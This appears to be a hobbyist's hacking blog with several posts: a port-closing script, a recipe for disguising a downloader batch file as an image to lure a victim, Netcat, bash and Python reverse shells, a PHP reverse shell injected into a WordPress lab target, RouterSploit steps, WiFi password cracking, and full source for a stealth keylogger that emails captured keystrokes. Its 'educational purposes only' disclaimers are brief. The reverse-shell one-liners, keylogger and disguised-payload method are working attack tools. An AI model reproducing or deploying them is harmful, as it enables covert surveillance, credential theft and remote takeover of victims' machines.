Friday, July 29, 2022

Python: A simple script to closed Ports in Windows 10

Any open port in Windows can be used by hackers to either upload malware, trojan, or may be used to control the machine  so it is important to close ports that are opened and not being used by the system.

I have prepared a simple python script to automate the process. I only closed those ports that are in "LISTENING" status, I also checked that certain ports are being used by the system and identified them in Task Manager via PID and tried to end the task. I also tried to killed the tasks associated with the port but not forcefully. The simple script is self explanatory because it is very short and simple.

To manually close a port, follow this path:

Start->Control Panel -> Windows Firewall -> Advance Settings -> Inbound Rules -> New Rule -> Port -> UDP/TCP -> Port Number -> Block Connection -> Rule Name 

Type the following at command prompt(Run as Admin) to display list of TCP and UDP ports currently listening on the computer with PID:

netstat -a -o -n


 

You must have admin rights to run the program or if you run it in command prompt, you should run it as Administrator.

Here is the code:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
import os

cmd = 'netstat -a -o -n > ports.txt'
os.system('cmd /c "'+ cmd + '"')
message=open(r'C:\temp\ports.txt', 'r')
lines =message.readlines()
message.close()
i=0
eports = '135 445 139'
pid = '4'
iport=[]
for line in lines:
   line = line.strip()
   if i>3:
     x = line.split(':')
     if line.find('[::]') != -1 and line.find('LISTENING') != -1:
        x = line.split(':')
        x[1]=x[3]
        x[2]=x[6]
     
     if x[2].find('LISTENING') != -1:
          y = x[1]          
          y = y[0:5]
          y = y.strip()
          
          z = x[2].split()
          a=z[-1]
          #print(a)
          if a != pid or eports.find(y) == -1:
             iport.append(y)
             os.system('taskkill /pid ' + a)
   i+=1 
iport = list(dict.fromkeys(iport))
for ports in iport:
   os.system('netsh advfirewall firewall add rule name="' + ports + 'port' + '" protocol=TCP dir=out remoteport=' + ports + ' action=block')
    
      
     

Friday, July 22, 2022

A Basic Backdoor Creation Technique

Hackers do find clever ways to evade detection. There are a number ways to do this like for example a hacker was able to steal money from Axie(the latest news) by inserting a trojan on a pdf file that supposedly contained a job offer. The employee was approached while at work and after a series of online interviews, the recruiter told him they are willing to hire him and sent him the pdf job offer document. The employee downloaded the file at his work station and opened and the hacker gained access to the company's network infrastructure resulting in multi-million dollar heist.

Today I will create how the hacker did this in its most basic way and always remember that this is just for educational purposes only. DONOT use this for any illegal purposes.

 Create a batch file with following command:


1
2
3
PowerShell -Command "Invoke-WebRequest 'https://web.com/image.JPG' -OutFile c:\TEMP\matrix.png"

c:\TEMP\matrix.png

The above command is an instruction to download an image and save it at c:\temp. Since it is a batch file, you can actually create another line of code which is identical to the first but instead of an image, you can specify a program that contains malicious code like a trojan(gate opener or creates a backdoor), a keylogger, a virus, etc. 

The .bat file is already executable but it is still very obvious, you you need to disguise it as an image. The scenario is you are impersonating a celebrity and you are chatting with a rich businessman and when you are asked to send your photo, you need to show it at the chat room as an image, of course you can not send it as .bat file. So to disguise the application, you will need to convert it into an executable file. You may use a bat to exe converter and you assign an icon to the exe file resulting in a disguised image in the chatroom. 


Once the file was downloaded and opened, the image will be shown and at the same time the other application gets downloaded and executed. 

You will need to disable your antivirus while doing this experiment.


Reverse Shell with Netcat

Netcat is a very popular tool for Network Administrators because it allows them to manage machines(pc and servers) remotely but unfortunately it is also a favorite tool of hackers and to prove this, with just 1 line of command that can be injected on a webpage would create a backdoor(see my previous post "Mr Robot 1 from Vulhub Part 5" how I used it to gain entry to the system using Netcat Reverse Shell). 

Reverse shell is one of the important things to know when you are aspiring to become a Penetration Tester. Reverse shell is a technique wherein a hacker's goal is to connect to a remote computer and redirect the input and output connections of the target system’s shell so the attacker can access it remotely.

I did an experiment using my Kali Linux on virtual box and my host Windows 10 OS(operating system) to check if it can be done with other scenarios, I have succeeded in code injection so far. The first thing I did was to install Netcat and I did a little research and it comes with the installation of Nmap for Windows, so I downloaded Nmap, install it and go to the directory where it was installed and in CMD, I typed "ncat -nvlp 768" and I got the following result:

What I just did was I set my Windows 10 OS to listen or intercept any data coming from port 768. 

The next step I did is to open my Kali Linux and type the following at the terminal(by the way, Netcat is already pre installed in Kali): "nc -nv 192.168.254.181  768 -e /bin/bash".

The following is the result in Kali:

and on my Windows 10 OS:


This means that a connection was established. To check if the connection is working, I typed "ls" from my Windows 10 OS and got the following result:

 

An alternative to Netcat is a python program. Check out the code below:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
import socket
import subprocess
import os

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(("0.0.0.0", 7777))
os.dup2(s.fileno(), 0)
os.dup2(s.fileno(), 1)
os.dup2(s.fileno(), 2)
p = subprocess.call(["/bin/sh", "-i"])

Hackers sometimes in order to evade detection, they need to seek alternatives by automating the process.




Wednesday, July 20, 2022

Mr Robot 1 from Vulhub Part 5

 So the username has been found, I will apply the brute force attack in guessing the password.I tried Hydra again but it does not seem to work so I used Wpscan. Wpscan came pre installed with the virtualbox Kali Linux but it needs to be updated before it will work which means it needs to connect to the internet so I have to reconfigure my Kali Linux installation by changing the network setting to Nat. This is needed because I set to 'Internal Network' in order for the the 2 vbox machines to log into the same network(Part 1).


Wscan is updated using the command "sudo wpscan --update". After getting it updated I have to set the network setting to 'Internal Network" again and it should be ready.

I typed wpscan  -U Elliot -P wordlist.dic --url http://192.168.3.3 and I got the following result:


The password found was ER28-0652, immediately, I tried it on the login screen and indeed, it was correct!

Now that I can login to the website, I will need to make changes(code injection) to one of the pages particularly the 404 template and  type a simple php reverse shell. It is a gate opener where a tcp outbound connection from the webserver to a host and port of my choice.The following code will have to be effected to the page:

exec("/bin/bash -c 'bash -i >& /dev/tcp/192.168.3.2/443 0>&1'");

The ip address is my vbox machine's ip address where the Kali Linux is running.

To do this, just go to Appearance>Editor>404 template.


After saving the changes, I open another browser tab, I need to type a webpage that will trigger the "Page Not Found" or 404 Template page, but first, I have to listen to the port 443 on my Kali Machine by typing "nc -lvp 443" on the terminal. Going back to the browser, I entered "http://192.168.3.3/test" and the 404 page showed up as expected and my terminal intercepted the signal and ultimately I was logged in remotely to the Mr Robot Vbox Machine, to check and confirm, I typed in 'ls' and see below result:

And if I am a hacker, I can now do what a hacker do like upload keylogger, a trojan horse, explore the machine for files that contains their credit card information or upload scripts that will make the machine inoperable. And that concludes this Mr Robot  series.




Routersploit: A Kali Linux tool for checking vulnerabilities of Routers and IoT Devices

 As part of  Penetration Testing activities, we need to check whether routers, wifi security cameras or any other internet of things(IoT) devices that act as access points have vulnerabilities that a hacker may use as a backdoor or be able to destroy the device by injecting malicious codes. Routersploit is the most popular tool used by hackers to carry out their attacks and as a Penetration Tester, knowing what hackers use can help prevent the attacks by knowing the vulnerability of devices before hackers discover them. 

RouterSploit is a handy hacking tool targeted at routers. It is made in Python. By using Python, the hacking tool has automated most of the tasks related to hacking and compromising routers. As mentioned previously it is Modeled after Metasploit and thus can be easily be used by people familiar with Metasploit, Routersploit has no graphical user interface(you can imgaine yourself as a wannabe computer expert just like those in the movies).

To install routersploit on kali linux, follow these steps(Type the following into the terminal:):

  • git clone https://github.com/threat9/routersploit
  • cd routersploit
  • python3 -m pip install -r requirements.txt

If you succeeded in the installation, just run routersploit by typing "python3 rsf.py" on the terminal.

The router ip address must be known at this stage.  The ip address of a router can be found using nmap scan or any other popular techniques. 

To check the available exploits, just type "show all".

To enter into scanning mode, just type "use scanners/autopwn".

To set the target, just type  set target <ip address>".

To scan for vulnerabilities, just type "run". The program will show each of the known exploits and it will indicate if the device is vulnerable/not vulnerable/could not be verified.

If you found a vulnerable exploit and you want to test that exploit, just type "use <exploit>", then type "set  target <ip address>", then type "check" to confirm that the device is vulnerable. And lastly, type "run" to carry out the attack.

If the exploit was successful,  other cyber attacks will follow like uploading of viruses, keyloggers, changing user passwords, and so on.

And lastly, as a reminder, the contents of this post is for educational purposes only.

In my case I tried on my Huawei WL3B310M Globe Prepaid Home Wifi Router, and I din not find any vulnerablity, maybe I should research more to find an appropriate exploit for this router, I googled it and did not find any either, I was wondering if the payload creation in Metasploit is possible, maybe I will try to do some experiments on that on my homelab.




Stealth Keylogger and Auto Send Email

Hackers usually once gained entry into the network and acquired admin access, one of the first things they do is upload viruses and stealth apps like  keyloggers to steal information like usernames and passwords or perhaps credit card number. 

I have created a simple application in python to record every pressed keys, capture the window title of active window and once the recorded characters reaches certain length(100 characters), the program will automatically send it to the hacker's email address. This app will stay on the target machine if an antivirus was not able to detect it, that is why I have to turn off my antivirus software while making this program because it automatically deletes it even when I have already included the script to the exception list. Staying in the target for sometime is called persistence.

This is for educational purposes only and it is meant as a tool for any authorized penetration testing. Stealing password and username is illegal you will end up in jail once cought.


The code:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
import pynput as putty
import logging
import os
import pyautogui

logkeys=''
logkeys_limit = 100 
logging.basicConfig(filename=("keylog.txt"), level=logging.DEBUG, format="%(message)s")
 
def on_press(key):
    logging.info(str(key))
    if key == putty.keyboard.Key.esc:
        keyboard_listener.stop()
        mouse_listener.stop()
        quit()
    global logkeys
      

    if len(logkeys) >= logkeys_limit:            
            send_log() 
            logkeys = ''
    elif key == putty.keyboard.Key.shift_l or key == putty.keyboard.Key.shift_r:
        return
    elif key == putty.keyboard.Key.enter:
         logkeys += '~'
    elif key == putty.keyboard.Key.space:
         logkeys += ' '     
    elif key == putty.keyboard.Key.backspace:
        logkeys = logkeys[:-1]
    else:
        char = f'{key}'
        char = char[1:-1]
        logkeys += char
   
def on_click(x, y, button, pressed):
    global logkeys
    
    window_title = str(pyautogui.getActiveWindowTitle())
    logkeys += '~'
    logkeys += window_title
    logkeys += '~'
    if len(logkeys) >= logkeys_limit:            
            send_log() 
            logkeys = ''
def send_log():
    global logkeys
    cmd = 'SwithMail.exe /s /from "haha@gmail.com" /name "name" /pass "khczysagbdifmzxj" /server "smtp.gmail.com" /p "587" /SSL /to "hoho@yahoo.com" /sub "logs" /b "' + logkeys + '"'
    os.system('cmd /c "'+ cmd + '"')
     

keyboard_listener = putty.keyboard.Listener(on_press=on_press)
mouse_listener = putty.mouse.Listener(on_click=on_click)


keyboard_listener.start()
mouse_listener.start()
keyboard_listener.join()
mouse_listener.join()    

Saturday, July 16, 2022

Hacking Wifi Networks with my Gole 1 Mini Pc

 The title suggests that the task was not very easy and I am happy to share what I just have learned the past 3 days. This tutorial is for educational purposes only and hacking someone else's wifi network is illegal. 

The equipment I used was my Gole 1 mini PC, This tiny pc has a wifi card that supports network monitoring mode. I was able to discover this feature by running cmd as admin, then  typing "netsh wlan show all" and I looked for the section  "Wireless Device Capabilities"  and the following screenshot shows it:


The software I used are the following:

  • Windows 10
  • Commview(trial version) for Wifi
  •  Aircrack-ng gui
  • Wordlist text file  

This is my first time to check if my password is hackable so it took me a few days to research how to carry out the task. My main source of information is youtube, there are quite a few tutorials there but often the information they shared was not the same as my scenario. I have no wireless usb adapter that is supported by kali linux, that's why I thought this task is quite impossible to do but with my endless perseverance and patience, I made it.

Commview for Wifi is a network packet sniffer similar to wireshark but  the difference is Commview is created to capture network packets even if the device is not connected to that network. It means, it just keeps on receiving information from wireless routers as long as those wifi routers are within the reception range of my wifi card. There are so many tutorials on the web on how to use commview which I recommend(I will not discuss here anymore) but were not complete. The information missing common to all those tutorials I watched on youtube was the type of packets that needs to be captured by the software which are the following: Management Frame, Beacon Frame, Deauthentication frame and Authentication Frame. These 4 frames are created when a device requests to connect to the router. It is also called the famous 4 way handshake. The captured packets must be saved as .cap file. Just remember that while commview is running, the wifi adapter will enter into monitor mode which means the computer can not connect to the internet.


Aircrack-ng gui is the software I used to attack my router using bruteforce method. And to enable me to do it, I would need millions of random words(wordlist text file). But since I am just attacking my own router, I only used a few words which already included my wifi password.  Aircrack-ng suite is also very popular among kali linux users because it is free. The linux version has a software that would force a device to be disconnected to the router just to make the device to reconnect and as I mentioned earlier this reconnecting event will trigger the 4 way handshake. Kali linux users does not need to use commview anymore, I think those features are also available in the windows version but because due to lack of documentation and still very few windows users are familiar with Aircrak-ng software suite, I am not able to take advantage of those features.

 And here is the result:



Conclusion: The password can be hacked if I used only common words, but the file I used which contained 1.1m words does not contain my password. This does not end here, hackers are very clever, they have a system that collects passwords used by real people and they used social engineering techniques which are also machine learning models to collect profiles and typical habits of their targets. To avoid getting hacked I should not follow certain patterns and develop regular habits which would give hackers clues.